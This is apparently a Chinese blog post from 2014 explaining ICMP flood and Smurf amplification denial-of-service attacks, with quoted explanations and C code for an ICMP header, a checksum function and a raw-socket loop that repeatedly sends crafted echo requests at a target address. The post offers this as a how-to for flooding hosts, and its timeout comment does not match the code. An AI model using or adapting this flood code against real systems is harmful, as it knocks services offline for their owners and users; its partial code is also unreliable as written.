icmp flood属于flood的其中一种.
达到效果有以下实现方法
1.两败俱伤 此处转载自http://hi.baidu.com/1tata/item/7bcfcd2e330d490c72863e8e
大量的 ICMP消息发送给目标系统,使得它不能够对合法的服务请求做出响应。中美黑客大战中的多数中国黑客采用的正是此项技术。ICMP FLOOD攻击实际上是一种两败俱伤的攻击方式,在主机"疯狂"地向攻击目标发送ICMP消息的时候,主机也在消耗自身的系统资源。如果自身的网络资源小 于目标的话,这种攻击就是"蚍蜉撼大树"。因此,ICMP FLOOD攻击为了达到很好的效果,往往要联合多台机器同时攻击同一台机器,从而形成分布式拒绝服务攻击(DDoS)。
2.借刀杀人 此处转载自http://hi.baidu.com/1tata/item/a3d466d06a283e14d90e44b1
攻击者向许多地址发送ICMP Echo Request,但是它却告诉这些地址ICMP Echo Request不是它自己发的,而是"某某"发的,这个"某某"就会成为"众矢之的"。通过伪装目的主机的IP地址,向多个IP 网络的广播地址发送ICMP Echo Request数据包,使得目的主机需要消耗大量CPU 资源和有效带宽来处理来自众多节点的ICMP Reply数据包。该攻击的原理如下图:
从图中可以看出,带宽仅为128Kbps的攻击者可以击溃带宽比其更大(512Kbps)的目标,因为ICMP SMURF采用的手段是"借刀杀人"!它本身并不向目标发送ICMP消息,而是向许多远程主机"诬告"攻击目标向他们发送了ICMP Echo,于是这些远程主机纷纷向攻击目标发送ICMP Reply,导致攻击目标崩溃。有明一代名将袁崇焕督师就是因为满人的反间计而被崇祯凌迟,并被当时的北京市民争其肉而食的。网络攻击中的"借刀杀人"照 样威力无穷。
下面先介绍一下ICMP的组成
typedef struct _icmphdr{
unsigned char i_type; // 8位类型
unsigned char i_code; // 8位代码
unsigned short i_cksum; // 16位校验和, 从TYPE开始,直到最后一位用户数据,如果为字节数为奇数则补充一位
unsigned short i_id ; // 识别号(一般用进程号作为识别号), 用于匹配ECHO和ECHO REPLY包
unsigned short i_seq ; // 报文序列号, 用于标记ECHO报文顺序
unsigned int timestamp; // 时间戳
}ICMP_HEADER;
计算校验和的经典函数:
{
unsigned long cksum = 0;
while(size> 1)
{
cksum += *buffer++;
size -= sizeof(USHORT);
}
if(size)
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum>> 16) + (cksum& 0xffff);
cksum += (cksum>> 16);
return (USHORT)(~cksum);
}
第一种实现的部分代码如下,2014年4月1日 01:36:21
/生成ICMP会送请求报文
char icmp_data[65535]={0}; //要发送的字符串
((IcmpHeader*)icmp_data)->chksum=0;
((IcmpHeader*)icmp_data)->type=8; //会送请求
((IcmpHeader*)icmp_data)->code=0; //
((IcmpHeader*)icmp_data)->id=2;
((IcmpHeader*)icmp_data)->timestamp=GetTickCount(); //设置时间戳
((IcmpHeader*)icmp_data)->seq=0; //序列号
memset(icmp_data+sizeof(IcmpHeader),'E',PACKET_SIZE);
((IcmpHeader*)icmp_data)->chksum=
checksum((USHORT*)icmp_data,sizeof(IcmpHeader)+PACKET_SIZE); //填入校验和
int datasize=sizeof(IcmpHeader)+PACKET_SIZE;
//开始发送数据报文了
sockaddr_in dst;
dst.sin_family=AF_INET;
dst.sin_addr.S_un.S_addr=inet_addr(dstIP);
DWORD dwStart=GetTickCount();
while(GetTickCount()-dwStart<10) //程序运行10秒后退出
sendto(sockRAW,icmp_data,datasize,0,(struct sockaddr*)&dst,sizeof(dst));
效果图2014年4月1日 01:42:33